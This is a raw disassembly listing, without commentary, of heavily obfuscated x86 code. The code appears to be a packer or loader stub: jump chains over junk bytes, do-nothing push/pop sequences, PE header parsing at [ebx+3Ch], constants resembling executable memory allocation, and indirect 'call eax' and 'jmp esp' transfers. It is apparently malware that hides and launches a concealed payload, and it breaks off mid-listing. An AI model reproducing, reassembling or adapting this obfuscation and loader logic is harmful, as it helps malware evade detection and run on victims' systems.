loc_406CDB ; --------------------------------------------------------------------------- pusha sbb esi, ebx loc_406CC1: ; CODE XREF: .text:loc_406CDBj jmp short loc_406CEE ; --------------------------------------------------------------------------- mov edi, 0DBEAD58Ch js short loc_406D1B mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- db 0A8h, 0C1h, 66h ; --------------------------------------------------------------------------- loc_406CDB: ; CODE XREF: .text:00406CBCj jmp short loc_406CC1 ; --------------------------------------------------------------------------- db 0A7h, 54h, 0FDh dd 0F9C043F2h, 0B5EC9F3Eh, 31D8BB4Ah ; --------------------------------------------------------------------------- push ss xchg eax, edi loc_406CEE: ; CODE XREF: .text:loc_406CC1j call near ptr sub_4048A4 push edx push ebx shr ebx, 0DFh xor ebx, esi xor ebx, ebx cmp ah, ah jb short $+2 cld pop ebx pop edx mov edx, eax jmp short loc_406D32 ; --------------------------------------------------------------------------- db 0EEh db 8Fh, 1Ch ; --------------------------------------------------------------------------- loc_406D0A: ; CODE XREF: .text:loc_406D32j jmp short loc_406D45 ; --------------------------------------------------------------------------- dd 8ABFA25h, 0B487C6A1h, 202352DDh db 0D9h, 9Eh, 7Fh ; --------------------------------------------------------------------------- loc_406D1B: ; CODE XREF: .text:00406CC8j dec esp xchg eax, ebp stosb wait cmp [ecx], dl jbe short loc_406D9A in al, 4Dh add dl, [ebx] push eax dec ecx dec esi outsd jl short loc_406D32 pop edx mov ebp, [eax-7Fh] ; --------------------------------------------------------------------------- db 26h ; --------------------------------------------------------------------------- loc_406D32: ; CODE XREF: .text:00406D05j ; .text:00406D2Bj jmp short loc_406D0A ; --------------------------------------------------------------------------- dd 0B2BD1467h, 0FEB98003h, 0A75AC5Fh, 0D6F1987Bh ; --------------------------------------------------------------------------- push edi loc_406D45: ; CODE XREF: .text:loc_406D0Aj and edx, 0FFFF0000h jmp short loc_406D79 ; --------------------------------------------------------------------------- fsubr st(5), st mov edx, 8661C86Bh loc_406D54: ; CODE XREF: .text:loc_406D79j jmp short loc_406D89 ; --------------------------------------------------------------------------- dw 7447h dd 0E0E3129Dh, 0C3F5E99h, 0F85B6A55h, 0A43736D1h, 10D3C20Dh dd 3C2F0E09h, 284B1AC5h, 0D427E641h db 7Dh ; --------------------------------------------------------------------------- loc_406D79: ; CODE XREF: .text:00406D4Bj jmp short loc_406D54 ; --------------------------------------------------------------------------- db 72h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 40h, 79h, 0BEh ; --------------------------------------------------------------------------- pop ds loc_406D81: ; CODE XREF: .text:loc_406D89j jmp short loc_406DAC ; --------------------------------------------------------------------------- db 6Ch ; --------------------------------------------------------------------------- xor eax, 0B1583BCAh loc_406D89: ; CODE XREF: .text:loc_406D54j jmp short loc_406D81 ; --------------------------------------------------------------------------- db 96h db 17h, 4 ; --------------------------------------------------------------------------- loc_406D8E: ; CODE XREF: .text:loc_406DACj jmp short loc_406DBF ; --------------------------------------------------------------------------- dd 70B322EDh, 9C0F6EE9h db 0A5h, 7Ah ; --------------------------------------------------------------------------- loc_406D9A: ; CODE XREF: .text:00406D21j sub ecx, [eax+34074621h] pop ebp shl byte ptr [ebx-0E1A660h], cl int 3 ; Trap to Debugger ; --------------------------------------------------------------------------- dd 0B81B2A15h ; --------------------------------------------------------------------------- loc_406DAC: ; CODE XREF: .text:loc_406D81j jmp short loc_406D8E ; --------------------------------------------------------------------------- dw 0F691h dd 82CD64F7h, 0CEC9D093h, 0DA85FCEFh db 0Bh, 0E8h, 1 ; --------------------------------------------------------------------------- loc_406DBF: ; CODE XREF: .text:loc_406D8Ej call eax push edx push edi inc edi jo short loc_406DD4 xchg edi, edx mov edi, 80A39Ah test al, cl mov edx, ebx xor edx, esi dec edi loc_406DD4: ; CODE XREF: .text:00406DC4j xor edx, ebx xchg edi, edx test cl, ch mov dx, 48FAh cld pop edi pop edx cmp eax, edx jz loc_406F68 jmp short loc_406E17 ; --------------------------------------------------------------------------- sub al, 0F5h mov bh, bl sbb [ecx+56h], dh loc_406DF2: ; CODE XREF: .text:loc_406E17j jmp short loc_406E27 ; --------------------------------------------------------------------------- dd 0E2ADC4D7h, 2EA93073h, 3A655CCFh, 6E148EBh, 921DF4C7h dd 0DE196063h, 0EAD58CBFh, 0B65178DBh db 0B7h, 24h, 8Dh ; --------------------------------------------------------------------------- loc_406E17: ; CODE XREF: .text:00406DE9j jmp short loc_406DF2 ; --------------------------------------------------------------------------- inc edx loc_406E1A: ; CODE XREF: .text:loc_406E27j jmp short loc_406E45 ; --------------------------------------------------------------------------- push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- test al, 0C1h loc_406E27: ; CODE XREF: .text:loc_406DF2j jmp short loc_406E1A ; --------------------------------------------------------------------------- db 66h, 0A7h, 54h db 0FDh, 0F2h, 43h ; --------------------------------------------------------------------------- loc_406E2F: ; CODE XREF: .text:loc_406E45j jmp short loc_406E60 ; --------------------------------------------------------------------------- db 0C0h, 0F9h, 3Eh dd 4AB5EC9Fh, 1631D8BBh, 0A26D8497h, 0EE69F033h db 8Fh ; --------------------------------------------------------------------------- loc_406E45: ; CODE XREF: .text:loc_406E1Aj jmp short loc_406E2F ; --------------------------------------------------------------------------- db 1Ch dd 8ABFA25h, 0B487C6A1h, 202352DDh, 4C7F9ED9h, 389BAA95h dd 0E4777611h ; --------------------------------------------------------------------------- loc_406E60: ; CODE XREF: .text:loc_406E2Fj sub esp, 1000h jmp short loc_406E95 ; --------------------------------------------------------------------------- dd 688B5A05h, 14672681h, 8003B2BDh, 0AC5FFEB9h, 987B0A75h dd 4457D6F1h db 2Dh, 62h ; --------------------------------------------------------------------------- loc_406E82: ; CODE XREF: .text:loc_406E95j jmp short loc_406EB4 ; --------------------------------------------------------------------------- dd 0AE29B0F3h, 0BAE5DC4Fh, 8661C86Bh, 129D7447h db 0E3h ; --------------------------------------------------------------------------- loc_406E95: ; CODE XREF: .text:00406E66j jmp short loc_406E82 ; --------------------------------------------------------------------------- db 0E0h ; --------------------------------------------------------------------------- cdq pop esi aas loc_406E9B: ; CODE XREF: .text:loc_406EB4j jmp short loc_406ECB ; --------------------------------------------------------------------------- db 0Ch, 55h, 6Ah dd 36D1F85Bh, 0C20DA437h, 0E0910D3h, 1AC53C2Fh, 0E641284Bh ; --------------------------------------------------------------------------- loc_406EB4: ; CODE XREF: .text:loc_406E82j jmp short loc_406E9B ; --------------------------------------------------------------------------- dw 0D427h ; --------------------------------------------------------------------------- jge short loc_406F2C retn ; --------------------------------------------------------------------------- inc eax loc_406EBC: ; CODE XREF: .text:loc_406ECBj jmp short loc_406EEA ; --------------------------------------------------------------------------- dw 0BE79h dd 0CA356C1Fh, 96B1583Bh ; --------------------------------------------------------------------------- pop ss add al, 0EDh loc_406ECB: ; CODE XREF: .text:loc_406E9Bj jmp short loc_406EBC ; --------------------------------------------------------------------------- db 22h, 0B3h, 70h dd 9C0F6EE9h, 882B7AA5h, 34074621h, 0A0A3D25Dh, 0CCFF1E59h dd 0B81B2A15h db 91h, 0F6h ; --------------------------------------------------------------------------- loc_406EEA: ; CODE XREF: .text:loc_406EBCj jmp esp ; --------------------------------------------------------------------------- jmp short loc_406F1D ; --------------------------------------------------------------------------- dw 0C9D0h db 0CEh ; --------------------------------------------------------------------------- loc_406EF1: ; CODE XREF: .text:loc_406F1Dj jmp short loc_406F30 ; --------------------------------------------------------------------------- db 0EFh dd 0BDA85FCh, 0E7A601E8h, 83323D94h, 0DF7E3900h, 0FB8AF52Ch dd 0D7567118h, 73E2ADC4h, 0CF2EA930h, 0EB3A655Ch, 0C706E148h db 0F4h ; --------------------------------------------------------------------------- loc_406F1D: ; CODE XREF: .text:00406EECj jmp short loc_406EF1 ; --------------------------------------------------------------------------- db 1Dh dd 19606392h db 0DEh, 0BFh ; --------------------------------------------------------------------------- loc_406F26: ; CODE XREF: .text:loc_406F30j jmp short loc_406F53 ; --------------------------------------------------------------------------- dd 0DBEAD58Ch ; --------------------------------------------------------------------------- loc_406F2C: ; CODE XREF: .text:00406EB8j js short loc_406F7F mov dh, 0B7h loc_406F30: ; CODE XREF: .text:loc_406EF1j jmp short loc_406F26 ; --------------------------------------------------------------------------- and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- dw 0C1A8h dd 0FD54A766h, 0F9C043F2h, 0B5EC9F3Eh, 31D8BB4Ah db 16h, 97h, 84h ; --------------------------------------------------------------------------- loc_406F53: ; CODE XREF: .text:loc_406F26j jmp loc_407085 ; --------------------------------------------------------------------------- push edx push ebx lea ebx, ds:80A25Ah test eax, esi mov edx, edx cld cld pop ebx pop edx loc_406F68: ; CODE XREF: .text:00406DE3j push 0FB0730Ch jmp short loc_406F9A ; --------------------------------------------------------------------------- sbb al, 25h cli loc_406F72: ; CODE XREF: .text:loc_406F9Aj jmp short loc_406FAD ; --------------------------------------------------------------------------- dd 0C6A108ABh, 52DDB487h db 23h, 20h, 0D9h ; --------------------------------------------------------------------------- loc_406F7F: ; CODE XREF: .text:loc_406F2Cj sahf jg short loc_406FCE xchg eax, ebp stosb wait cmp [ecx], dl jbe short near ptr loc_406FFF+1 in al, 4Dh add dl, [ebx] push eax dec ecx dec esi outsd jl short near ptr byte_406F98 pop edx mov ebp, [eax-7Fh] ; --------------------------------------------------------------------------- db 26h byte_406F98 db 67h, 14h ; CODE XREF: .text:00406F91j ; --------------------------------------------------------------------------- loc_406F9A: ; CODE XREF: .text:00406F6Dj jmp short loc_406F72 ; --------------------------------------------------------------------------- db 0BDh, 0B2h, 3 ; --------------------------------------------------------------------------- loc_406F9F: ; CODE XREF: .text:loc_406FADj jmp short loc_406FD0 ; --------------------------------------------------------------------------- db 80h, 0B9h, 0FEh dd 0A75AC5Fh, 0D6F1987Bh ; --------------------------------------------------------------------------- push edi loc_406FAD: ; CODE XREF: .text:loc_406F72j jmp short loc_406F9F ; --------------------------------------------------------------------------- db 44h dd 0B0F3622Dh, 0DC4FAE29h, 0C86BBAE5h, 74478661h, 0E0E3129Dh dd 0C3F5E99h, 0F85B6A55h ; --------------------------------------------------------------------------- sal dword ptr [esi], 1 loc_406FCE: ; CODE XREF: .text:00406F80j aaa movsb loc_406FD0: ; CODE XREF: .text:loc_406F9Fj push esi jmp short loc_406FFD ; --------------------------------------------------------------------------- db 72h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 40h, 79h, 0BEh db 1Fh, 6Ch ; --------------------------------------------------------------------------- loc_406FDA: ; CODE XREF: .text:loc_406FFDj jmp short loc_40700D ; --------------------------------------------------------------------------- dd 583BCA35h, 41796B1h, 70B322EDh, 9C0F6EE9h, 882B7AA5h dd 34074621h, 0A0A3D25Dh, 0CCFF1E59h db 15h ; --------------------------------------------------------------------------- loc_406FFD: ; CODE XREF: .text:00406FD1j jmp short loc_406FDA ; --------------------------------------------------------------------------- loc_406FFF: ; CODE XREF: .text:loc_40700Dj ; .text:00406F87j jmp short loc_407028 ; --------------------------------------------------------------------------- db 2Ah, 1Bh, 0B8h dd 64F7F691h, 0D09382CDh ; --------------------------------------------------------------------------- leave loc_40700D: ; CODE XREF: .text:loc_406FDAj jmp short loc_406FFF ; --------------------------------------------------------------------------- db 0CEh dd 0DA85FCEFh ; --------------------------------------------------------------------------- loc_407014: ; CODE XREF: .text:loc_407028j jmp short loc_407043 ; --------------------------------------------------------------------------- dw 0E80Bh dd 94E7A601h, 83323Dh, 2CDF7E39h, 18FB8AF5h ; --------------------------------------------------------------------------- loc_407028: ; CODE XREF: .text:loc_406FFFj jmp short loc_407014 ; --------------------------------------------------------------------------- dw 5671h dd 0E2ADC4D7h, 2EA93073h, 3A655CCFh, 6E148EBh, 921DF4C7h db 63h, 60h, 19h ; --------------------------------------------------------------------------- loc_407043: ; CODE XREF: .text:loc_407014j call near ptr sub_4048A4 push edi push ebx xchg edi, ebx lea ebx, ds:809B5Ah dec ebx push edi pop edi test eax, edi mov ebx, edx cld pop ebx pop edi add eax, 5 push esi push ebx jnz short near ptr loc_40706A+1 neg esi mov esi, 80BC1Ah loc_40706A: ; CODE XREF: .text:00407061j repne lea ebx, ds:810DDAh push eax pop esi stc cld pop ebx pop esi call eax push esi push edi xor esi, ebp inc esi inc esi mov esi, ebx inc edi cld pop edi pop esi loc_407085: ; CODE XREF: .text:loc_406F53j call loc_4065CD jmp short loc_4070B5 ; --------------------------------------------------------------------------- db 90h db 89h, 8Eh ; --------------------------------------------------------------------------- loc_40708F: ; CODE XREF: .text:loc_4070B5j jmp short loc_4070C8 ; --------------------------------------------------------------------------- db 0AFh, 0BCh, 45h dd 0C1A8CB9Ah, 0FD54A766h, 0F9C043F2h, 0B5EC9F3Eh, 31D8BB4Ah dd 6D849716h, 69F033A2h, 251C8FEEh ; --------------------------------------------------------------------------- cli loc_4070B5: ; CODE XREF: .text:0040708Aj jmp short loc_40708F ; --------------------------------------------------------------------------- db 0ABh dd 87C6A108h ; --------------------------------------------------------------------------- loc_4070BC: ; CODE XREF: .text:loc_4070C8j jmp short loc_4070EB ; --------------------------------------------------------------------------- dw 0DDB4h dd 0D9202352h, 954C7F9Eh ; --------------------------------------------------------------------------- loc_4070C8: ; CODE XREF: .text:loc_40708Fj jmp short loc_4070BC ; --------------------------------------------------------------------------- dw 9BAAh dd 77761138h db 0E4h ; --------------------------------------------------------------------------- loc_4070D1: ; CODE XREF: .text:loc_4070EBj jmp short loc_4070FE ; --------------------------------------------------------------------------- db 4Dh dd 49501302h, 57C6F4Eh, 81688B5Ah, 0BD146726h, 0B98003B2h db 0FEh, 5Fh, 0ACh ; --------------------------------------------------------------------------- loc_4070EB: ; CODE XREF: .text:loc_4070BCj jmp short loc_4070D1 ; --------------------------------------------------------------------------- db 75h, 0Ah, 7Bh ; --------------------------------------------------------------------------- cwde icebp setalc push edi inc esp sub eax, 29B0F362h scasb dec edi fsubr st(5), st loc_4070FE: ; CODE XREF: .text:loc_4070D1j mov ebp, eax jmp short loc_40712C ; --------------------------------------------------------------------------- dw 4786h dd 0E3129D74h db 0E0h ; --------------------------------------------------------------------------- loc_407109: ; CODE XREF: .text:loc_40712Cj jmp short loc_40713C ; --------------------------------------------------------------------------- db 99h dd 550C3F5Eh, 0D1F85B6Ah, 0DA43736h, 910D3C2h, 0C53C2F0Eh dd 41284B1Ah, 7DD427E6h, 7940C372h ; --------------------------------------------------------------------------- loc_40712C: ; CODE XREF: .text:00407100j jmp short loc_407109 ; --------------------------------------------------------------------------- dw 1FBEh dd 3BCA356Ch, 1796B158h, 0B322ED04h ; --------------------------------------------------------------------------- loc_40713C: ; CODE XREF: .text:loc_407109j mov edx, eax jmp short loc_407170 ; --------------------------------------------------------------------------- dd 882B7AA5h ; --------------------------------------------------------------------------- and [esi+7], eax loc_407147: ; CODE XREF: .text:loc_407170j jmp short loc_407187 ; --------------------------------------------------------------------------- db 34h, 5Dh, 0D2h dd 1E59A0A3h, 2A15CCFFh, 0F691B81Bh, 82CD64F7h, 0CEC9D093h dd 0DA85FCEFh, 0A601E80Bh, 323D94E7h, 7E390083h ; --------------------------------------------------------------------------- loc_407170: ; CODE XREF: .text:0040713Ej jmp short loc_407147 ; --------------------------------------------------------------------------- dw 2CDFh dd 18FB8AF5h ; --------------------------------------------------------------------------- loc_407178: ; CODE XREF: .text:loc_407187j jmp short loc_4071A6 ; --------------------------------------------------------------------------- dw 5671h dd 0E2ADC4D7h, 2EA93073h db 0CFh, 5Ch, 65h ; --------------------------------------------------------------------------- loc_407187: ; CODE XREF: .text:loc_407147j jmp short loc_407178 ; --------------------------------------------------------------------------- db 3Ah, 0EBh, 48h dd 0F4C706E1h, 6063921Dh, 8CBFDE19h, 78DBEAD5h, 24B7B651h dd 9053428Dh db 89h, 8Eh ; --------------------------------------------------------------------------- loc_4071A6: ; CODE XREF: .text:loc_407178j mov ebx, eax jmp short loc_4071D9 ; --------------------------------------------------------------------------- cmpsd push esp std loc_4071AD: ; CODE XREF: .text:loc_4071D9j jmp short loc_4071EC ; --------------------------------------------------------------------------- db 0F2h dd 3EF9C043h, 4AB5EC9Fh, 1631D8BBh, 0A26D8497h, 0EE69F033h dd 0FA251C8Fh, 0C6A108ABh, 52DDB487h, 9ED92023h, 0AA954C7Fh ; --------------------------------------------------------------------------- wait loc_4071D9: ; CODE XREF: .text:004071A8j jmp short loc_4071AD ; --------------------------------------------------------------------------- db 38h dd 0E4777611h db 4Dh, 2 ; --------------------------------------------------------------------------- loc_4071E2: ; CODE XREF: .text:loc_4071ECj jmp short loc_40720F ; --------------------------------------------------------------------------- dd 4E495013h, 5A057C6Fh ; --------------------------------------------------------------------------- loc_4071EC: ; CODE XREF: .text:loc_4071ADj jmp short loc_4071E2 ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- loc_4071EF: ; CODE XREF: .text:loc_40720Fj jmp short loc_40721F ; --------------------------------------------------------------------------- db 68h, 81h, 26h dd 0B2BD1467h, 0FEB98003h, 0A75AC5Fh, 0D6F1987Bh, 622D4457h dd 0AE29B0F3h ; --------------------------------------------------------------------------- dec edi fsubr st(5), st loc_40720F: ; CODE XREF: .text:loc_4071E2j jmp short loc_4071EF ; --------------------------------------------------------------------------- db 0BAh, 6Bh, 0C8h dd 74478661h, 0E0E3129Dh ; --------------------------------------------------------------------------- cdq pop esi aas loc_40721F: ; CODE XREF: .text:loc_4071EFj add ebx, [ebx+3Ch] push eax push ebx inc eax stc rol eax, 77h xchg ebx, ebx test eax, esp push edi pop eax ror ebx, 21h xor eax, ecx xor eax, edx inc ebx cld pop ebx pop eax add ebx, 0F8h push edi push esi cmp bh, dl test cl, ah xchg edi, esi neg edi add esi, 808A5Ah inc edi cmp cl, dl mov si, 49D4h inc esi dec edi cld pop esi pop edi xor edi, edi push eax push esi dec eax lea eax, ds:810B1Ah or eax, 80899Ah shr esi, 9Fh cmp esi, 80A45Ah dec esi cld pop esi pop eax loc_40727A: ; CODE XREF: .text:00407596j push ebx jmp short loc_4072A9 ; --------------------------------------------------------------------------- db 9, 0Eh, 2Fh dd 4B1AC53Ch, 27E64128h, 0C3727DD4h, 1FBE7940h, 3BCA356Ch dd 1796B158h, 0B322ED04h ; --------------------------------------------------------------------------- loc_40729C: ; CODE XREF: .text:loc_4072A9j jmp short loc_4072C8 ; --------------------------------------------------------------------------- dw 0E970h dd 0A59C0F6Eh, 21882B7Ah ; --------------------------------------------------------------------------- inc esi loc_4072A9: ; CODE XREF: .text:0040727Bj jmp short loc_40729C ; --------------------------------------------------------------------------- db 7 db 34h ; --------------------------------------------------------------------------- loc_4072AD: ; CODE XREF: .text:loc_4072C8j jmp short loc_4072DC ; --------------------------------------------------------------------------- db 5Dh dd 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h, 0C9D09382h dd 85FCEFCEh ; --------------------------------------------------------------------------- loc_4072C8: ; CODE XREF: .text:loc_40729Cj jmp short loc_4072AD ; --------------------------------------------------------------------------- dw 0BDAh dd 0E7A601E8h, 83323D94h, 0DF7E3900h, 0FB8AF52Ch ; --------------------------------------------------------------------------- loc_4072DC: ; CODE XREF: .text:loc_4072ADj lea eax, [esp] push eax push ecx mov ax, 499Fh ror eax, 5Bh cld pop ecx pop eax push eax push edi push ecx mov edi, edx cmp bh, ch test ecx, ebx clc cld pop ecx pop edi cmp edi, 2 jz loc_40738E push ecx push edx cmp al, 0DBh dec edx cld pop edx pop ecx push 40h jmp short loc_407338 ; --------------------------------------------------------------------------- db 2Eh, 0CFh, 5Ch ; --------------------------------------------------------------------------- loc_407310: ; CODE XREF: .text:loc_407338j jmp short loc_40734B ; --------------------------------------------------------------------------- dw 3A65h ; --------------------------------------------------------------------------- jmp short loc_40735E ; --------------------------------------------------------------------------- dw 6E1h ; --------------------------------------------------------------------------- mov esp, 6063921Dh sbb esi, ebx mov edi, 0DBEAD58Ch js short loc_407378 mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- db 0A8h, 0C1h, 66h ; --------------------------------------------------------------------------- loc_407338: ; CODE XREF: .text:0040730Bj jmp short loc_407310 ; --------------------------------------------------------------------------- dw 54A7h dd 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h ; --------------------------------------------------------------------------- xor [esi], edx xchg eax, edi loc_40734B: ; CODE XREF: .text:loc_407310j jmp loc_40739C ; --------------------------------------------------------------------------- jmp short loc_40737E ; --------------------------------------------------------------------------- dw 69F0h dd 251C8FEEh ; --------------------------------------------------------------------------- cli loc_407359: ; CODE XREF: .text:loc_40737Ej ; .text:004073BEj jmp short loc_40738E ; --------------------------------------------------------------------------- db 0ABh db 8, 0A1h ; --------------------------------------------------------------------------- loc_40735E: ; CODE XREF: .text:00407314j mov byte ptr [edi+2352DDB4h], 20h fstp dword ptr [esi-556AB381h] wait cmp [ecx], dl jbe short near ptr byte_4073E7 in al, 4Dh add dl, [ebx] push eax dec ecx dec esi outsd loc_407378: ; CODE XREF: .text:00407325j jl short near ptr loc_40737E+1 pop edx mov ebp, [eax-7Fh] loc_40737E: ; CODE XREF: .text:00407350j ; .text:loc_407378j jmp short loc_407359 ; --------------------------------------------------------------------------- dd 0BD146726h, 0B98003B2h, 75AC5FFEh db 0Ah, 7Bh ; --------------------------------------------------------------------------- loc_40738E: ; CODE XREF: .text:004072FBj ; .text:loc_407359j push 4 push esi push ebx test al, dh xchg esi, ebx ror esi, 14h cld pop ebx pop esi loc_40739C: ; CODE XREF: .text:loc_40734Bj push dword ptr [ebx+8] push ebx push edx mov ebx, ebp dec edx cld pop edx pop ebx push dword ptr [ebx+0Ch] jmp short loc_4073D8 ; --------------------------------------------------------------------------- dd 4FAE29B0h db 0DCh, 0E5h, 0BAh ; --------------------------------------------------------------------------- loc_4073B3: ; CODE XREF: .text:loc_4073D8j jmp short loc_4073E8 ; --------------------------------------------------------------------------- imul ecx, eax, 61h xchg al, [edi+74h] popf adc ah, bl loopne loc_407359 pop esi aas or al, 55h push 5Bh clc sal dword ptr [esi], 1 aaa movsb or eax, 910D3C2h push cs das cmp al, 0C5h sbb cl, [ebx+28h] inc ecx loc_4073D8: ; CODE XREF: .text:004073AAj jmp short loc_4073B3 ; --------------------------------------------------------------------------- dw 27E6h dd 0C3727DD4h, 1FBE7940h db 6Ch, 35h, 0CAh byte_4073E7 db 3Bh ; CODE XREF: .text:0040736Ej ; --------------------------------------------------------------------------- loc_4073E8: ; CODE XREF: .text:loc_4073B3j add [esp], ebp push edi push eax ror eax, 0D6h inc eax mov ax, 5DB5h push ebx pop eax rcr edi, 0F6h repne clc cld pop eax pop edi push 0A9DE6F5Ah jmp short loc_407434 ; --------------------------------------------------------------------------- dw 0F6Eh dd 2B7AA59Ch, 7462188h, 0A3D25D34h, 0FF1E59A0h, 1B2A15CCh db 0B8h ; --------------------------------------------------------------------------- loc_40741D: ; CODE XREF: .text:loc_407434j ; .text:0040743Cj jmp short loc_40744C ; --------------------------------------------------------------------------- db 91h dd 0CD64F7F6h, 0C9D09382h, 85FCEFCEh, 1E80BDAh, 3D94E7A6h ; --------------------------------------------------------------------------- loc_407434: ; CODE XREF: .text:00407404j jmp short loc_40741D ; --------------------------------------------------------------------------- dw 8332h db 0, 39h ; --------------------------------------------------------------------------- loc_40743A: ; CODE XREF: .text:loc_40744Cj jmp short loc_407467 ; --------------------------------------------------------------------------- jle short loc_40741D sub al, 0F5h mov bh, bl sbb [ecx+56h], dh xlat les ebp, [ebp-56CF8C1Eh] loc_40744C: ; CODE XREF: .text:loc_40741Dj jmp short loc_40743A ; --------------------------------------------------------------------------- db 2Eh ; --------------------------------------------------------------------------- loc_40744F: ; CODE XREF: .text:loc_407467j jmp short loc_40747A ; --------------------------------------------------------------------------- db 0CFh, 5Ch, 65h dd 0E148EB3Ah, 1DF4C706h, 19606392h, 0D58CBFDEh db 0EAh, 0DBh, 78h ; --------------------------------------------------------------------------- loc_407467: ; CODE XREF: .text:loc_40743Aj jmp short loc_40744F ; --------------------------------------------------------------------------- push ecx mov dh, 0B7h and al, 8Dh inc edx push ebx nop mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- test al, 0C1h loc_40747A: ; CODE XREF: .text:loc_40744Fj push esi jmp short loc_4074AB ; --------------------------------------------------------------------------- db 9Fh, 0ECh, 0B5h dd 31D8BB4Ah ; --------------------------------------------------------------------------- loc_407484: ; CODE XREF: .text:loc_4074ABj jmp short loc_4074BB ; --------------------------------------------------------------------------- dw 9716h dd 33A26D84h, 8FEE69F0h, 0ABFA251Ch, 87C6A108h, 2352DDB4h dd 7F9ED920h, 9BAA954Ch, 77761138h db 0E4h, 4Dh, 2 ; --------------------------------------------------------------------------- loc_4074AB: ; CODE XREF: .text:0040747Bj jmp short loc_407484 ; --------------------------------------------------------------------------- adc edx, [eax+49h] dec esi loc_4074B1: ; CODE XREF: .text:loc_4074BBj jmp short loc_4074DE ; --------------------------------------------------------------------------- db 6Fh dd 8B5A057Ch db 68h, 81h, 26h ; --------------------------------------------------------------------------- loc_4074BB: ; CODE XREF: .text:loc_407484j jmp short loc_4074B1 ; --------------------------------------------------------------------------- db 67h ; --------------------------------------------------------------------------- loc_4074BE: ; CODE XREF: .text:loc_4074DEj jmp short loc_4074EE ; --------------------------------------------------------------------------- dd 3B2BD14h, 5FFEB980h, 7B0A75ACh, 57D6F198h, 0F3622D44h dd 4FAE29B0h, 6BBAE5DCh db 0C8h, 61h ; --------------------------------------------------------------------------- loc_4074DE: ; CODE XREF: .text:loc_4074B1j jmp short loc_4074BE ; --------------------------------------------------------------------------- dd 9D744786h, 99E0E312h, 550C3F5Eh ; --------------------------------------------------------------------------- push 5Bh loc_4074EE: ; CODE XREF: .text:loc_4074BEj call near ptr sub_4048A4 push edi push esi cmp bl, ch stc cld pop esi pop edi call eax push eax push esi mov esi, 80AF9Ah ror eax, 3Ah cmp ebx, esp ror eax, 31h not eax xor eax, edi inc esi mov si, 48F9h inc esi cld pop esi pop eax loc_407519: ; CODE XREF: .text:00407559j add esp, 4 push eax push ecx ror ecx, 39h cmp ebx, esi clc xor ecx, ebp neg eax nop cld pop ecx pop eax inc edi push ecx push esi shr ecx, 35h mov cx, 4A92h ror esi, 39h mov esi, 8090DAh not ecx cmp al, 0C4h xchg ecx, esi xchg ecx, ecx cld pop esi pop ecx add ebx, 28h jmp short loc_40755C ; --------------------------------------------------------------------------- dw 4128h dd 7DD427E6h db 72h ; --------------------------------------------------------------------------- loc_407555: ; CODE XREF: .text:loc_40755Cj jmp short loc_407583 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- inc eax jns short loc_407519 pop ds loc_40755C: ; CODE XREF: .text:0040754Cj jmp short loc_407555 ; --------------------------------------------------------------------------- loc_40755E: ; CODE XREF: .text:loc_407583j jmp short loc_407593 ; --------------------------------------------------------------------------- dd 3BCA356Ch, 1796B158h, 0B322ED04h, 0F6EE970h, 2B7AA59Ch dd 7462188h, 0A3D25D34h, 0FF1E59A0h db 0CCh db 15h, 2Ah ; --------------------------------------------------------------------------- loc_407583: ; CODE XREF: .text:loc_407555j jmp short loc_40755E ; --------------------------------------------------------------------------- db 1Bh, 0B8h, 91h dd 0CD64F7F6h, 0C9D09382h db 0CEh, 0EFh, 0FCh ; --------------------------------------------------------------------------- loc_407593: ; CODE XREF: .text:loc_40755Ej cmp edi, 3 jnz loc_40727A push eax push edi cmp esp, ebp inc eax lea eax, ds:80AA9Ah mov di, 4909h neg eax cld pop edi pop eax push ebx jmp short loc_4075E3 ; --------------------------------------------------------------------------- db 32h db 83h ; --------------------------------------------------------------------------- loc_4075B5: ; CODE XREF: .text:loc_4075E3j jmp short loc_4075FE ; --------------------------------------------------------------------------- align 4 dd 2CDF7E39h, 18FB8AF5h, 0C4D75671h, 3073E2ADh, 5CCF2EA9h dd 48EB3A65h, 0F4C706E1h, 6063921Dh, 8CBFDE19h, 78DBEAD5h ; --------------------------------------------------------------------------- push ecx mov dh, 0B7h loc_4075E3: ; CODE XREF: .text:004075B1j jmp short loc_4075B5 ; --------------------------------------------------------------------------- and al, 8Dh inc edx push ebx nop loc_4075EA: ; CODE XREF: .text:loc_4075FEj jmp short loc_407619 ; --------------------------------------------------------------------------- mov [esi-65BA4351h], ecx retf ; --------------------------------------------------------------------------- db 0A8h dd 54A766C1h, 0C043F2FDh db 0F9h, 3Eh ; --------------------------------------------------------------------------- loc_4075FE: ; CODE XREF: .text:loc_4075B5j jmp short loc_4075EA ; --------------------------------------------------------------------------- dd 4AB5EC9Fh, 1631D8BBh, 0A26D8497h, 0EE69F033h, 0FA251C8Fh dd 0C6A108ABh db 87h ; --------------------------------------------------------------------------- loc_407619: ; CODE XREF: .text:loc_4075EAj lea eax, [esp] push edx push ebx cmp al, 0C0h test al, dh mov edx, eax dec ebx cld pop ebx pop edx push eax jmp short loc_40764E ; --------------------------------------------------------------------------- jg short loc_407679 xchg eax, ebp loc_40762E: ; CODE XREF: .text:loc_40764Ej jmp short loc_40765E ; --------------------------------------------------------------------------- dd 11389BAAh, 4DE47776h, 49501302h, 57C6F4Eh, 81688B5Ah dd 0BD146726h, 0B98003B2h db 0FEh, 5Fh ; --------------------------------------------------------------------------- loc_40764E: ; CODE XREF: .text:00407629j jmp short loc_40762E ; --------------------------------------------------------------------------- dd 7B0A75ACh, 57D6F198h, 0F3622D44h ; --------------------------------------------------------------------------- mov al, 29h loc_40765E: ; CODE XREF: .text:loc_40762Ej push 4 push edx push ecx loc_407662: ; CODE XREF: .text:00407680j mov edx, 81109Ah mov cx, 5337h neg ecx rcr ecx, 35h dec ecx cld pop ecx pop edx push 400h loc_407679: ; CODE XREF: .text:0040762Bj jmp short loc_4076A7 ; 